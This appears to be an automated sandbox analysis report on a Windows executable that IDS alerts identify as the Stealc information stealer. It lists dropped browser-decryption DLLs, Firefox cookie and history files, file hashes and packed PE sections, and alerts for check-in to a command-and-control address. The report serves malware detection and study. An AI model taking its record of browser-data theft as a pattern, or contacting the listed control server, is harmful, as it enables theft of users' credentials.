Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAEHJJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: C5u5BZq8gj.exe, Detection: malicious, Browse Filename: hD2EOjfpfW.exe, Detection: malicious, Browse Filename: AVSicb6epR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: C5u5BZq8gj.exe, Detection: malicious, Browse Filename: hD2EOjfpfW.exe, Detection: malicious, Browse Filename: AVSicb6epR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947946356373381
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'845'760 bytes
MD5:	069e71a1a16afa1e104be5fbb7baf6b3
SHA1:	26909e9cb597635db3da1674732cd291a5d7d073
SHA256:	410e717218b214fba670b9ba398cc8e10181086bb3ad0ad5bf1e15165c91849f
SHA512:	6048eebdf844a565afe3e9905ca48448de70d209dee4c0320b2f12a1764f179af10e2b3e973ef836ea06e571283f6b196afdab58fa02036e085dbc7d617e30da
SSDEEP:	49152:4tmO3Bh/5Gr0eYBu1I2nB9hnRVbJsJd5GcUY2wdGZ+5wss3B:4tmO3Bh/RMIcB9zVbJ+dQNc7EB
TLSH:	058533F9BE177A0BC36600F6E5162D3B3B62618C452F74B47BC632C9441BF84A096E79
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA1A490759Ah
invd
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FA1A4909595h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	7e10ce3e19f07299ad13b455a19646fd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29f000	0x200	6672f9742cd92cb7ae15c8a57f8bc012	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lhxxzjli	0x4fd000	0x19d000	0x19c800	6118679f55653a0b45882e49f385c2b0	False	0.9950071022727273	data	7.953160734524551	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rasevotn	0x69a000	0x1000	0x400	0d2c2416b299963f9b6c35be19622115	False	0.7900390625	data	6.193770021908746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69b000	0x3000	0x2200	c7e03ecb127cb7752a7b0947cbf4fd45	False	0.06169577205882353	DOS executable (COM)	0.7688967337109421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T11:54:03.005187+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:03.239807+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:03.246283+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
